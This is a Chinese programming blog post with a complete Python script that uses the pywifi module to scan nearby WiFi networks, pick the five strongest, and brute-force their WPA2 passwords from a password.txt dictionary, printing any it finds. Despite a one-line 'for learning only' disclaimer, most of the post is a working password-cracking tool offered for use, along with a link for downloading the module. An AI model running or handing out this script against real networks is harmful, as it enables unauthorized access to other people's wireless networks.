您的位置:首页 > 编程语言 > Python开发

python利用字典破解WIFI密码

2018-07-30 17:27 726 查看

 最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5

既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。 
有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。 
链接:http://pan.baidu.com/s/1qXZSbEW 密码:m8wm 

本地安装方法: 
1)下载解压好以后,我们用cmd命令行,进入到你的文件目录, 
2)使用命令pip install . 注意了(install后面有个点) 
3)然后就会安装了,等一会就可以了。

程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。

[code]import pywifi

from pywifi import const #引用一些定义

import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount=5  #查询附近信号最强的5个WIFI,最多5个
def getwifi():
wifi=pywifi.PyWiFi()#抓取网卡接口
ifaces=wifi.interfaces()[0]#获取网卡
ifaces.scan()
time.sleep(8)
bessis = ifaces.scan_results()

list = []
for data in bessis:
if(data.ssid not in namelist): #去掉重复的WIFI名称
namelist.append(data.ssid)
list.append((data.ssid, data.signal))

sorted(list, key=lambda st: st[1], reverse=True)
time.sleep(1)
n=0
if len(list) is not 0:
for item in list:
if(item[0] not in ssidlist):
n=n+1
if n<=wificount:
ssidlist.append(item[0])
print(ssidlist)

def testwifi(ssidname,password):
wifi=pywifi.PyWiFi()#抓取网卡接口
ifaces=wifi.interfaces()[0]#获取网卡
ifaces.disconnect()#断开无限网卡连接
profile=pywifi.Profile()#创建wifi连接文件
profile.ssid=ssidname#定义wifissid
profile.auth=const.AUTH_ALG_OPEN#网卡的开放
profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
profile.key=password #wifi密码
ifaces.remove_all_network_profiles()#删除其他所有配置文件
tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
ifaces.connect(tmp_profile)#连接wifi
time.sleep(5)#5秒内能否连接上
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
#print("[-]WiFi connection failure!")
return False
#ifaces.disconnect()#断开连接
#time.sleep(1)
return True

def main():
getwifi()
#ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
if(len(ssidlist) is not 0):

path=r"password.txt"
files=open(path,'r')
while True:
if(len(ssidlist) is 0):
break
try:
password =files.readline()
password=password.strip('\n')
if not password:
break
for item in result: #把已经找到密码的WIFI从查询中删除。
ssidlist.remove(item[0])

for ssidname in ssidlist:
if(testwifi(ssidname,password)==True):
result.append((ssidname,password)) #把找到的WIFI密码保存起来
print('Succ','Current WifiName:',ssidname,'Current Password:',password)
else:
print('Fail','Current WifiName:',ssidname,'Current Password:',password)

except:
continue

files.close()
print("\n","WIFI结果列表:")
for item in result: #把已经找到密码的WIFI从查询中删除。
print("")
print("无线:",item[0])
print("密码:",item[1])

else:
print("没有找到WIFI信号,请重试。")

if __name__ == '__main__':
main()

 

阅读更多
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: